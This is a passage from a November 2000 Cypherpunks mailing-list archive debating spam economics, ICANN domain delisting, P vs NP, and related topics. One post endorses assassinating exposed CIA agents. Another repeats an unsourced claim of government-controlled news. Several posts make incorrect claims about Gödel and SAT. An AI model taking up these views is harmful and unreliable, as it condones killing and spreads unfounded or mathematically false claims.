"Uncle Spam" as BTU's (excuse me, calories or joules.)) A few years ago I proposed that email senders should be given the option of including a small amount of digital cash along with that email, as compensation for the inconvenience. Email programs could be programmed to sort the email in order of "tribute" sent: I could very easily ignore an email that gave me 1 penny, but I'd be intrigued by an email that included $1. "Spammers" who actually had an offer that a large fraction of the recipients would be interested in could easily afford $1 per email, or more. Jim Bell From tcmay at got.net Sat Nov 4 18:15:34 2000 From: tcmay at got.net (Tim May) Date: Sat, 4 Nov 2000 21:15:34 -0500 Subject: CDR: Re: Anthropologists as Spies In-Reply-To: <28ffb4964dfc97725331c47a373f29cd@remailer.privacy.at> References: <28ffb4964dfc97725331c47a373f29cd@remailer.privacy.at> Message-ID: At 8:42 PM -0500 11/4/00, anonymous at openpgp.net wrote: >http://www.thenation.com/docPrint.mhtml?i=20001120&s=price > >by DAVID PRICE > >On December 20, 1919, under the heading "Scientists as Spies," The >Nation published a letter by Franz Boas, the father of academic >anthropology in America. Boas charged that four American >anthropologists, whom he did not name, had abused their professional >research positions by conducting espionage in Central America during >the .... >The American Anthropological Association also secretly collaborated >with the CIA. In the early 1950s the AAA's executive board >negotiated a secret agreement with the CIA under which agency >personnel and computers were used to produce a cross-listed .... >neither to explicitly prohibit nor to penalize secretive government >research. It is time for US anthropologists to examine the political >consequences of their history and take a hard, thoughtful look at >Boas's complaint and the implications implicit in the association's >refusal to condemn secret research and to re-enact sanctions against >anthropologists engaging in espionage. Wouldn't it be much more efficient to use Cypherpunk technologies to make their espionage widely known to their subjects? That way the targets of the CIA spying could simply find ways to dispose of the spies locally. That would presumably deter anthropologists acting as spies and saboteurs more than all of the "official denunciations" ever could. Note: This has happened several times, actually. A list of spies pretending to be cultural attaches resulted in the assassinations of CIA agents in Athens, Bogota, and other cities. Sounds fair to me. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From jimdbell at home.com Sat Nov 4 21:45:40 2000 From: jimdbell at home.com (jim bell) Date: Sat, 4 Nov 2000 21:45:40 -0800 Subject: CDR: Re: [IFWP] Re: Ken Stubbs @ core deletes vote-auction.com References: Message-ID: <00e601c046eb$a78f0200$a6d11018@vncvr1.wa.home.com> ----- Original Message ----- From: Jim Dixon To: Cc: Tom Vogt ; ; Sent: Friday, November 03, 2000 7:31 AM Subject: Re: [IFWP] Re: Ken Stubbs @ core deletes vote-auction.com > > > rumour has it that core carved in to demand by most possibly the feds. > > > here in europe the sentiment today is that by doing so core has stopped > > > being (if it ever was) an independent and purely technical instance and > > > has entered the realm of politics. for example, no matter whether or not > > > vote-auction.com is or is not illegal in the US, what business has a US > > > court or lea in blocking the site for *me* (in germany) or, for that > > > matter, the rest of the planet? > > Tom Vogt pointed out in a follow-up email that 'CORE' should be > replaced with 'InterNIC'. CORE as the registrar actually still had > the name listed. > > Nevertheless, what has happened here demonstrates a basic flaw at the > heart of the domain name system. ICANN and many essential Internet > resources remain subject to US jurisdiction. ICANN itself is just a > California corporation, so it is subject to the passing whims of the > California legislature as well as those of Congress, the executive > branches, and various and sundry US state and federal courts. But that's not the whole problem, here. ICANN may be, arguably, subject to "those laws," but it isn't clear that those laws (per se) were responsible for the disconnection. Is there a law, somewhere, that said "anybody who we determine appears to be violating the law in America, we 'unaddress' them before they get a trial." That certainly isn't normal procedure: There are probably over a thousand Internet Casinos who are (the thugs would argue) in violation of some American law, yet they are still accessible to us. (It's very unlikely that "the law" anticipates "the need" (cough, choke, ptooey!) the government thugs found themselves with. ICANN might be considered the publisher of a large "telephone directory" that happens to be accessed by electronic means, rather than printed on a big lump of dead tree. Suddenly, one of the listees angers the govt: Govt. demands immediate "delisting." Notice that this is impossible with "dead-tree" directories. Current law doesn't even anticipate the possibility of de-listing, at least not before the next directory is published.) No, I presume what's happening in those "votes-for-sale" cases is that ICANN is responding NOT to any black-letter laws, but in fact to the simple desires of various authorities explicitly beyond (and prematurely, at that!) what their legal authority grants them. An extremely bad precedent. > Some argue that ICANN should itself have authority over all of the > Internet domain name system and the IP address space and in fact > things are creeping in this direction. Given the now-crucial role > that the Internet plays in the global economy, ICANN's hegemony > gives, for example, representatives of small towns in California sitting > on the right committee in Sacramento remarkable and truly unique power > over the rest of the planet. > Jim Dixon VBCnet GB Ltd http://www.vbc.net ICANN needs to be taught a very painful lesson: "Even if you feel that you must obey a specific law, you must not do it without initiating a legal process and continuing it through any valid appeal. Given that the election was only a few days away, it is obvious that no such process would be completed before the point becomes moot. You screwed up." Then, Jim Bell From jeffersgary at hotmail.com Sat Nov 4 20:20:10 2000 From: jeffersgary at hotmail.com (Gary Jeffers) Date: Sat, 04 Nov 2000 22:20:10 CST Subject: CDR: Connie Chung fucks up & things are not as they seem.A good example of the tremen Message-ID: My fellow Cypherpunks, The following is interesting. http://www.albany.net/~rwcecot/iraap/Quinn/phoenix1.htm find string: Connie Chung A good example of the tremendous degree to which the major news media organizations are called to heel is seen in the facts surrounding the two year hiatus in the professional career of CBS broadcaster Connie Chung, who had the misfortune to have ended up being paired with Dan Rather several years ago. On a live call-in TV talk show some two years ago, Ms. Chung responded with a bit too much candor to a question as to what actually gets reported publicly by the major news media, given the great number of stories and items which come from the numerous sources of "raw" information. How are the stories which get the attention of the media chosen and by whom? Connie Chung replied to the effect that it wasn't too hard to decide what stories get aired--they just checked with Washington D.C. to see what had been cleared for publication by the government. As a result of her being foolish enough to tell the truth in what was likely just a naive, probably unintentional and inadvertent slip, within no more than a few hours Ms. Chung was out of a job and remained blacklisted in the industry for a good two years, only resurfacing in 1998 with a position at ABC--sufficiently chastened, some no doubt believe, to allow her to grace the public airwaves once again. Yours Truly, Gary Jeffers BEAT STATE!!! _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. Share information about yourself, create your own public profile at http://profiles.msn.com. From bill.stewart at pobox.com Sat Nov 4 23:23:42 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Sat, 04 Nov 2000 23:23:42 -0800 Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: References: <3.0.5.32.20001104163534.00a5d100@idiom.com> Message-ID: <3.0.5.32.20001104232342.02317550@idiom.com> At 08:42 PM 11/4/00 -0600, Jim Choate wrote: > >Hi Bill, > >On Sat, 4 Nov 2000, Bill Stewart wrote: > >> Jim, you're misunderstanding the class NP, though you're >> correct in not holding your breath. >> >> It's not "all problems that can't be solved in polynomial time." >> It's "all problems that can be solved in polynomial time by a >> non-deterministic Turing machine." >> A non-deterministic Turing machine is allowed to guess answers >> (or at least, to guess a polynomial number of answers). >> Answers to NP problems can be verified in polynomial time - >> the hypothetical machine guesses the answer, and verifies it >> in a polynomially bounded time. > >Which is mathematicaly equivalent to having an algorithm that solves the >problem directly in polynomial time. No - it gives you a direct solution that takes exponential time, because there are exponentially many answers the thing could guess, each of which takes a polynomial time to validate. The "then a miracle occurs" step is that the NTM guesses the _correct_ answer - that's why it's hypothetical, rather than real. The reason that it's interesting mathematics is partly that many NP-complete problems, or NP problems in general, are useful or interesting to mathematicians, and sometimes to real people as well (:-), and that it tells us about the complexity of the problem, and about the difficulty of finding answers, and whether to go for optimal solutions to the problems or to look for heuristics that give pretty good answers most of the time. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From jeffersgary at hotmail.com Sat Nov 4 22:42:55 2000 From: jeffersgary at hotmail.com (Gary Jeffers) Date: Sun, 05 Nov 2000 00:42:55 CST Subject: CDR: Re: Connie Chung fucks up & things are not as they seem.A good example of the tremen Message-ID: Declan McCullagh writes: > >Source? TV show? Date? Transcript? > >-Declan > Declan, my source is the net address listed below. At the top of that page are a "general info" button and a "contact us" button. Under "general info" they list info at iraap.org as their email address. They also list there their snail mail address. That's all I know of the source. This looks like a job for an investgative reporter such as yourself:-) Sorry I am not more helpful. If you can actually validate from tv network sources that that sequel occurred, you will have a great big can of worms to play with :-) -Good luck! > >On Sat, Nov 04, 2000 at 10:20:10PM -0600, Gary Jeffers wrote: > > My fellow Cypherpunks, The following is interesting. > > > > > > http://www.albany.net/~rwcecot/iraap/Quinn/phoenix1.htm > > > > find string: Connie Chung > > > > > > A good example of the tremendous degree to which the major news media > > organizations are called to heel is seen in the facts surrounding the >two > > year hiatus in the professional career of CBS broadcaster Connie Chung, >who > > had the misfortune to have ended up being paired with Dan Rather several > > years ago. > > > > On a live call-in TV talk show some two years ago, Ms. Chung responded >with > > a bit too much candor to a question as to what actually gets reported > > publicly by the major news media, given the great number of stories and > > items which come from the numerous sources of "raw" information. How are >the > > stories which get the attention of the media chosen and by whom? > > > > Connie Chung replied to the effect that it wasn't too hard to decide >what > > stories get aired--they just checked with Washington D.C. to see what >had > > been cleared for publication by the government. > > > > As a result of her being foolish enough to tell the truth in what was >likely > > just a naive, probably unintentional and inadvertent slip, within no >more > > than a few hours Ms. Chung was out of a job and remained blacklisted in >the > > industry for a good two years, only resurfacing in 1998 with a position >at > > ABC--sufficiently chastened, some no doubt believe, to allow her to >grace > > the public airwaves once again. > > > > Yours Truly, > > Gary Jeffers > > > > BEAT STATE!!! > > >_________________________________________________________________________ > > Get Your Private, Free E-mail from MSN Hotmail at >http://www.hotmail.com. > > > > Share information about yourself, create your own public profile at > > http://profiles.msn.com. > > _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. Share information about yourself, create your own public profile at http://profiles.msn.com. From declan at well.com Sat Nov 4 22:22:49 2000 From: declan at well.com (Declan McCullagh) Date: Sun, 5 Nov 2000 01:22:49 -0500 Subject: CDR: Re: Connie Chung fucks up & things are not as they seem.A good example of the tremen In-Reply-To: ; from jeffersgary@hotmail.com on Sat, Nov 04, 2000 at 10:20:10PM -0600 References: Message-ID: <20001105012249.E32192@cluebot.com> Source? TV show? Date? Transcript? -Declan On Sat, Nov 04, 2000 at 10:20:10PM -0600, Gary Jeffers wrote: > My fellow Cypherpunks, The following is interesting. > > > http://www.albany.net/~rwcecot/iraap/Quinn/phoenix1.htm > > find string: Connie Chung > > > A good example of the tremendous degree to which the major news media > organizations are called to heel is seen in the facts surrounding the two > year hiatus in the professional career of CBS broadcaster Connie Chung, who > had the misfortune to have ended up being paired with Dan Rather several > years ago. > > On a live call-in TV talk show some two years ago, Ms. Chung responded with > a bit too much candor to a question as to what actually gets reported > publicly by the major news media, given the great number of stories and > items which come from the numerous sources of "raw" information. How are the > stories which get the attention of the media chosen and by whom? > > Connie Chung replied to the effect that it wasn't too hard to decide what > stories get aired--they just checked with Washington D.C. to see what had > been cleared for publication by the government. > > As a result of her being foolish enough to tell the truth in what was likely > just a naive, probably unintentional and inadvertent slip, within no more > than a few hours Ms. Chung was out of a job and remained blacklisted in the > industry for a good two years, only resurfacing in 1998 with a position at > ABC--sufficiently chastened, some no doubt believe, to allow her to grace > the public airwaves once again. > > Yours Truly, > Gary Jeffers > > BEAT STATE!!! > _________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. > > Share information about yourself, create your own public profile at > http://profiles.msn.com. > From dmolnar at hcs.harvard.edu Sat Nov 4 22:49:55 2000 From: dmolnar at hcs.harvard.edu (dmolnar) Date: Sun, 5 Nov 2000 01:49:55 -0500 (EST) Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: Message-ID: On Sat, 4 Nov 2000, Jim Choate wrote: > of connective, operators, and values that reduce to binary values. Our > job is to determine the truth or falsity value of each sentence in that > set. I further see no reason to suspect that the sentence set itself is > even countable (and even if it is it is still infinite in extent). OK. This seems to be a point where the definitions are a crucial issue. Let me define the set SAT = { B | B is a Boolean formula, and B has a satisfying assignment} You're quite right in noticing that this set is infinite. In particular, it has all sentences of the form (P or NOT P) OR (Q or NOT Q) OR ... i.e. all tautologies ORed with themselves. To show SAT is in NP, we only need to show how to construct a succint certificate that B has a satisfying assignment. We only need to know how to answer "yes" to the question "Is the formula F in SAT?" If a formula has no satisfying assignment, then we don't care about it. I assume that "has a satisfying assignment" is equivalent to "true" is equivalent to "provable" in your lexicon. Please let me know if I'm off base, because that will screw up the following discussion. Then "false" is equivalent to "not provable" is equivalent to "has no satisfying assignment." Please let me know if that's off base as well. By the way -- you mentioned Goedel's Theorem at one point. I'm not clear how that is relevant. It seemed to me that you wanted to invoke the theorem to guarantee the existence of sentences which are somehow neither true nor false, or cannot be checked as being true or false. But for ANY finite Boolean formula, and for ANY assignment, there is ALWAYS a way to *check* whether the assignment satisfies the formula or not. Replace the variables with the values from the assignment. Evaluate the formula according to the usual laws of Boolean algebra. This always works. So the formula assignment can always be checked and the question "Is F in SAT?" is therefore in NP. The problem is finding the satisfying assignment if one exists. Notice that a Turing Machine which is allowed to take exponential time is capable of trying EVERY assignment and then finding a correct assignment if one exists, or rejecting the formula if one does not exist. So determining the satisfiability of Boolean formulae is always computable in exponential time. There does not seem to be a question of "unprovability" or "uncomputability" involved. Give me a finite Boolean formula (and those are the only kind we're considering, aren't we?), I give you a computable algorithm for finding the satisfying assignment: try all the possibilities. Sure it's exponential-time, but it's computable and provably so. Are you invoking Goedel's theorem to say that there exist sentences which have no satisfying assignment? or have I completely misunderstood what you are getting at with the term "sentences" ? > > What you propose isn't possible. There are logical statements in the P > & NP class which are not provable. There is no way that you can say that a > set of sentences can at the same time contain insoluble members (and there > isn't a way to tell them apart since the test may itself be unprovable) > and have an algorithm which will solve all of them because you can solve > one of them. Now I'm confused. What are these sentences? Are you taking these sentences as each representing some problem in the class NP? or are they just members of all the possible boolean formulae? What's going on? What do you mean by "a logical statement in the P & NP class"? I'm having trouble here because I tend to regard "NP" as a class of decision problems only, and you seem to argue for an "NP" which allows for equivocation between a) the statement of a problem - "MAXFLOW is in NP" b) an algorithm used to solve a problem - "Ford-Fulkerson is in NP" and c) the computational complexity of an algorithm - "2^n is in NP" so I am not sure if this is a new extension of "NP" to include d) a Boolean formula encoding the statement of a problem. I suspect it is, but I'm not sure. > > Now if you restrict the problems to specific domains (since NP contains P > I'll talk only to NP) then we are injecting a distinction of class in > the NP and there goes our "if I can prove one of them I can prove all of > them". I can't understand this until we clear up the previous point. I'm sorry. :-( Thanks, -David Molnar From whgiii at openpgp.net Sun Nov 5 04:11:23 2000 From: whgiii at openpgp.net (William H. Geiger III) Date: Sun, 5 Nov 2000 07:11:23 -0500 Subject: CDR: Re: FW: BLOCK: AT&T signs bulk hosting contract with spammers In-Reply-To: Message-ID: <200011051211.HAA19955@domains.invweb.net> In , on 11/03/00 at 05:20 PM, Tim May said: >At 11:36 AM -0800 11/3/00, Bill Stewart wrote: >(about AT&T knowingly supporting Spam sites) >> >>Fortunately, somebody got this to the right people at AT&T; >>otherwise I was going to have to contact the Sales VP (Hovancak) >>whose name was on the contract and ask him to find the sales rep >>who got fast-talked into signing that contract. >>AT&T's privacy policies mean that we can't reveal information on >>our customers' networks, so it's the PR folks' problem >>to tell you that we've learned the error of our ways, >Oh, I doubt AT&T has "learned the error of its ways." This is just their >spin control. >Like Esther Dyson's spin control..."I won't let it happen again." >Until, of course, the next mass mailing to her "Dear Friends" goes out. Am I the only one here that sees something terribly wrong? AT&T is the bad guy because they hosted a website of an alleged spamer? AT&T may have seen the "error of their ways" because they are now performing content based censorship by shutting down the same website (no SPAM was being sent over their network)? Exactly how far down this slippery slope should AT&T go? It is amazing how members of this list can go from cypherpunks to censorpunks so easily, I guess SPAM is the root passphrase for some members principles. -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html E-Secure: http://www.openpgp.net/esecure.html --------------------------------------------------------------- From whgiii at openpgp.net Sun Nov 5 04:17:54 2000 From: whgiii at openpgp.net (William H. Geiger III) Date: Sun, 5 Nov 2000 07:17:54 -0500 Subject: CDR: Re: The Ant and the Grasshopper In-Reply-To: Message-ID: <200011051217.HAA20628@domains.invweb.net> In , on 11/03/00 at 06:49 PM, Mac Norton said: >right. And then W. comes along and wants to give the newly >rich grasshopper a fat tax cut which the remaining ants >don't get. Which is why grasshoppers usually vote >Republican. Makes sense to me. Considering it is the grasshopper that is paying all the taxes it make sense to me too. :) -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html E-Secure: http://www.openpgp.net/esecure.html --------------------------------------------------------------- From denny076059 at crytooolong.com Sun Nov 5 05:52:23 2000 From: denny076059 at crytooolong.com (denny076059 at crytooolong.com) Date: Sun, 05 Nov 2000 08:52:23 -0500 Subject: CDR: 3D JAVA Casino - $10 free.......... Message-ID: <630odb4l223f5av.ik627s15w26y2u8q1i4u@mail.crytooolong.com> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 890 bytes Desc: not available URL: From ravage at ssz.com Sun Nov 5 07:10:34 2000 From: ravage at ssz.com (Jim Choate) Date: Sun, 5 Nov 2000 09:10:34 -0600 (CST) Subject: CDR: Re: AT&T signs bulk hosting contract with spammers In-Reply-To: <00bb01c046e5$f28dac80$a6d11018@vncvr1.wa.home.com> Message-ID: On Sat, 4 Nov 2000, jim bell wrote: > But it does, in fact. It costs you the effort to look at it (and An irrelevant amount. The reality is that the cost of filtering physical spam is trivial. It normaly takes me less than 10 second to get the trash in the trash can. Sine I'm going to spend that effort anyway to get the mail I do want the cost is irrelevant. Where e-spam differs from physical spam is that physical spammers send me one copy whereas e-spam usualy means many copies. The real problem with e-spam isn't the cost to filter it but to get rid of it, there isn't a natural limit on e-spam like physical spam. What needs to happen is that instead of spammers adding you to a list and then you have to take extra action to get off (this is where the cost to me comes in, not analogous to physical mail at all really) they would send the note once and then include instructions on how to join if interested. Unfortunately spammers require a large distribution count in order for the minute percentange of interested responants can be advised of its existance. Spammers have a right to send out spam, they don't have a right to bury the recipient in it. It's harrasment and theft of service (my time and effort). ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at ssz.com Sun Nov 5 08:00:49 2000 From: ravage at ssz.com (Jim Choate) Date: Sun, 5 Nov 2000 10:00:49 -0600 (CST) Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: Message-ID: On Sun, 5 Nov 2000, dmolnar wrote: > OK. This seems to be a point where the definitions are a crucial issue. > > Let me define the set > > SAT = { B | B is a Boolean formula, and B has a satisfying > assignment} > > You're quite right in noticing that this set is infinite. In particular, > it has all sentences of the form (P or NOT P) OR (Q or NOT Q) OR ... > i.e. all tautologies ORed with themselves. Infinite? It isn't even countable. It's of class Aleph 1, not Aleph Null. The problem is the last conditional of your definition. It's impossible even in principle to create such a universal set and define an operator to say if a particular sentence does or doesn't resolve, never mind it's actual value. Godel disallows a universal sentence consistency verifier, as distinct from a universal resolver which it also prohibits. Your conditional assumes axiomaticaly the existance of such a beast. In effect Godel says you can't have a universal translator (i.e. Translate the Boolean sentence into a 0 or 1 depending upon if it is consistent or 'has a satisfying assignment'). You are, with that conditional, in effect saying that even though Godel's Incompleteness Theorem says that I can create Boolean sentences that are not resolvable you can resolve all of them. Clearly paradoxical. I feel safer giving up 'has a satisfying assignment' over Godel's. The reality is that if you have a problem set such that all members are resolvable you are using a sub-set of the actual problem set. In other words you've found a 'distinction'. It is my assertion that there are many such 'distinctions' in the NP set that in fact mean there are different classes of NP problems which are not resolvable to one another and whose solution algorithms are completely indipendent. The first such distinction, per Godel's, is that there are some problems I can't resolve. So, why should there be only a single distinction? I can certainly think of no reason to limit it. So, unless somebody can demonstrate that NP problems break down only into solvable and unsolvable problems (which isn't possible via Godel's) I feel pretty safe that P<>NP (I'm pretty sure nobody can build a universal tester for that either). While P may be in NP, there are some NP that won't resolve to P's. I've unexpectedly run into this exact same sort of problem with Goldbach's recently. Additive Number Theory of class h=2 and degree 1 are fun! When one speaks of 'cosmological' sets (i.e. sets that contain all possible arrangements) it isn't possible even in theory to actualy resolve all of the individual members. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at einstein.ssz.com Sun Nov 5 08:10:05 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Sun, 5 Nov 2000 10:10:05 -0600 (CST) Subject: CDR: Re: AT&T signs bulk hosting contract with spammers In-Reply-To: <20001105103157.D22659@ils.unc.edu> Message-ID: On Sun, 5 Nov 2000, Greg Newby wrote: > > An irrelevant amount. The reality is that the cost of filtering > > physical spam is trivial. It normaly takes me less than 10 second to get > > the trash in the trash can. Sine I'm going to spend that effort anyway to > > get the mail I do want the cost is irrelevant. > > Many people under-state the cost of bulk (paper) mail in this way. In > fact, the cost is far greater, especially in use of natural resources. I may underestimate the cost to the originator but the cost to me for filtering a dozen or so envelopes and paper flyers per day is nil. All your examples are costs to the originator and not to me. I pay for the pickup of my trash which contains the physical spam. Trivial percentage. The cost of cutting the tree down, delivery, etc. as detailed in your examples are costs that are incurred by the sender through the fees they pay to bring the product together and distribute it. I'm all for making that expensive. However, charging for email means everyone pays. Making it so that spammers may only send you one piece of email makes the cost of doing business theirs and doesn't involve me the recipient. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From gbnewby at ils.unc.edu Sun Nov 5 07:31:57 2000 From: gbnewby at ils.unc.edu (Greg Newby) Date: Sun, 5 Nov 2000 10:31:57 -0500 Subject: CDR: Re: AT&T signs bulk hosting contract with spammers In-Reply-To: ; from ravage@EINSTEIN.ssz.com on Sun, Nov 05, 2000 at 09:10:34AM -0600 References: <00bb01c046e5$f28dac80$a6d11018@vncvr1.wa.home.com> Message-ID: <20001105103157.D22659@ils.unc.edu> On Sun, Nov 05, 2000 at 09:10:34AM -0600, Jim Choate wrote: > > > On Sat, 4 Nov 2000, jim bell wrote: > > > But it does, in fact. It costs you the effort to look at it (and > > An irrelevant amount. The reality is that the cost of filtering > physical spam is trivial. It normaly takes me less than 10 second to get > the trash in the trash can. Sine I'm going to spend that effort anyway to > get the mail I do want the cost is irrelevant. Many people under-state the cost of bulk (paper) mail in this way. In fact, the cost is far greater, especially in use of natural resources. As a rabid environmentalist, every time I get a piece of junk mail I think of it in terms of the trees, oil (for plastic) and other resources that went into getting it to me. Lots of this stuff is not recyclable, and not even safe to burn (I've been seeing lots of reports lately about pollution due to "backyard burning"). The post office needs to deliver it. What's the weight of the mass mail delivered daily, and what is the proportion of fuel and other consumables that go into getting it from place to place? I can tell you that even with my greatly sub-typical bulk mail daily influx, it's at least 1/2 of the weight and volume (junk catalogs etc. tend to be bigger and heaver than "legitimate" stuff like bills. As the USPO will tell you, the benefit of junk mail is that it subsidizes regular mail. Personally, I would rather pay several times more for each letter I send and not get any junk mail. Remember the quote in Garfinkel's Database Nation: "there is no junk mail, only junk people." This was from a direct mail marketer, who stated that he had no interest in sending stuff to anyone but potential customers. Well, I've been working for YEARS to tell everyone that I am a junk person, by this definition, but spammers, direct mailers and telemarketers persist in contacting me. > Where e-spam differs from physical spam is that physical spammers send me > one copy whereas e-spam usualy means many copies. I get catalogs every month from many places, even AFTER I have contacted them to ask to be removed from their list. A short list includes Home Depot, Performance Cycles, MicroWarehouse and other companies that should know better. In many cases, the post office refuses to NOT deliver the stuff, because it's addressed to "resident." Unless I want to say that a message is offensive to me and go through the USPO paperwork, there is no way to stop this. > The real problem with e-spam isn't the cost to filter it but to get rid of > it, there isn't a natural limit on e-spam like physical spam. What needs > to happen is that instead of spammers adding you to a list and then you > have to take extra action to get off (this is where the cost to me comes > in, not analogous to physical mail at all really) they would send the note > once and then include instructions on how to join if interested. Of course. Why not for paper junk mail, too? I think maybe you haven't actually tried to get off too many paper junk mail lists. It is NOT easy, even when you know exactly who is sending you the stuff. > Spammers have a right to send out spam, they don't have a right to bury > the recipient in it. It's harrasment and theft of service (my time and > effort). I only think they have a right in some circumstances, and most spam I receive doesn't meet the criteria. - must have an opt-out & maintain a "do not contact" list - must participate in the DMA's opt-out list or other industry standard resources - must have a valid Reply-to: address to an attended mailbox This is minimal, and is completely consistent with regulations for telemarketers and direct mail services. The fact with phone and mail systems is that they are (a) local or national monopolies; (b) subsidized; and (c) regulated. Regulations are simply a quid pro quo. (Yes, we can argue against this sort of subsidy and regulation...for now, we have it). Taking the same approach to the electronic domain, which often has the same qualities (local monopoly, subsidized and regulated), is an easy decision to make. -- Greg From Igniting at ticnet.com Sun Nov 5 09:04:54 2000 From: Igniting at ticnet.com (Jan) Date: Sun, 05 Nov 2000 11:04:54 -0600 Subject: Great Flood Site Still in Question,But Ancient Ship Found Message-ID: Great Flood Site Still in Question, But Ancient Ship Found Friday, November 3, 2000 By Randolph E. Schmid WASHINGTON � A team led by underwater explorer Robert Ballard has discovered an "absolutely astounding" wooden ship � perhaps 1,500 years old � in the Black Sea off the coast of Turkey. Artifacts recovered nearby that scientists hoped would date back to the time of the biblical flood turned out to be disappointingly modern. But the site itself may still show human habitation from that ancient date. "What we saw was absolutely astounding," said nautical archaeologist Cheryl Ward. The ship's mast is still standing and stanchions rest nearby, held together with wooden pegs. "No archaeologist has even been able to study anything like this," she said in a news conference at the National Geographic Society. "We have never been able to look at the deck of an ancient ship." The unique oxygen-free deep water of the Black Sea allowed the ship to be preserved without the normal worm damage that affects wooden vessels, and Ballard said they expect other such treasures to be found. The researchers plan to return to the area near Sinop, Turkey next year and work in the sea off the coast of Bulgaria. Dealing with such a well-preserved ship presents a problem, Ballard said. In the past, shipwrecks of that age had all the wood eaten away and only the contents remained. "We don't know what to do" to study it, he said. "I think we're still numb." He said a meeting is scheduled for next month to consider how best to deal with the ship. When the ship was first seen the team thought it was modern because it was so well preserved. But carbon dating of wood from the ship showed the vessel to be about 1,500 years old, dating from between A.D. 410 and 520. "This is a ship carved by hand 1,500 years ago, so beautifully preserved it looks as if it had just got off the dock," Ward said. The vessel measures about 45 feet in length and has a 35-foot-tall standing mast, she said. It was found in about 650 feet of water. "This ship came from a time of custom-built ships, when you went to a shipwright and told him what kind of ship you needed and how large." Ships in those times were built skin first, with the outside structure crafted before the inside was filled in. "It's the complete opposite of how we do it today," Ward said. Sediment covered much of the ship and no cargo was visible. Ballard's team last month reported discovering what appears to be a man-made building foundation beneath the sea not far from the shipwreck. It is located in an area that was inundated by a cataclysmic flood 7,600 years ago � perhaps the great flood told of in the Bible and other ancient writings. But wooden artifacts recovered from that site turned out to be only about 200 years old, and must have floated to the spot, according to archaeologist Fredrik Hiebert of the University of Pennsylvania. Large objects, including wooden logs and stones that looked as if they had been worked into blocks, could not be raised with the expedition's equipment. "We now need to go back to the Black Sea and expand our efforts to prove or disprove that people once lived on land that's now underwater," Ballard said. He noted that the site is unique and would have been on a bluff, overlooking a stream before the sea rose. Hiebert said some charcoal had been found in the mud at the site and there are what seem to be worked stones there, indicating human habitation. Ballard, president of the Institute for Exploration in Mystic, Conn., said five to 10 years of work lies ahead for the project while exploring more and more of the Black Sea. Unlike other oceans, its deep water does not circulate and thus contains no oxygen, preserving whatever falls there. In addition to the preserved ship, three other wrecks were found in shallower water where there is some oxygen and they had been damaged by worms. They were trading vessels believed to date from the Roman or Byzantine period, probably built between the fourth and sixth centuries A.D. All three contained large quantities of terracotta jars that carried wine, oil or other liquids. The carrot-shaped design of the jars was used by artisans in ancient Sinop, Ward said. "Investigating the contents of these shipwrecks could significantly add to our understanding of the importance of the Black Sea as part of the Classical world," Hiebert said. http://foxnews.com/scitech/110300/blacksea.sml *COPYRIGHT NOTICE** In accordance with Title 17 U.S.C. Section 107, any copyrighted work in this message is distributed under fair use without profit or payment to those who have expressed a prior interest in receiving the included information for non-profit research and educational purposes only. [Ref. http://www.law.cornell.edu/uscode/17/107.shtml ] --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From bill.stewart at pobox.com Sun Nov 5 12:04:28 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Sun, 05 Nov 2000 12:04:28 -0800 Subject: CDR: Re: why should it be trusted? In-Reply-To: <4.3.1.2.20001022200551.02345ac8@shell11.ba.best.com> References: <20001022190921.B2270@well.com> <20001022085359.B614@well.com> Message-ID: <3.0.5.32.20001105120428.02035b60@idiom.com> At 08:12 PM 10/22/00 -0700, James A.. Donald wrote: > -- >At 07:09 PM 10/22/2000 -0700, Nathan Saper wrote: > > I think the government has a right to do whatever it needs to do to > > maintain the health and well-being of its population. That is the > > purpose of the government. > >Then the government should be raiding your home to check on your >consumption of chocolate, and spying on your messages to detect if you are >secretly arranging for the purchase or sale of forbidden substances. Congratulations! You've finally discovered the Secret Ulterior Motive behind the Cypherpunks Grocery-Store-Frequent-Shopper Card Exchange Ritual, which is to discourage them from knowing who's *really* buying all that chocolate and beer. (We used to do it relatively often; now it's more of an occasional thing, especially since the Albertsons/AmericanStores merger means that Lucky no longer uses cards, but Safeway still does. Safeway started doing "Thank you for shopping at Safeway, Mr. Cypherpunki" a while 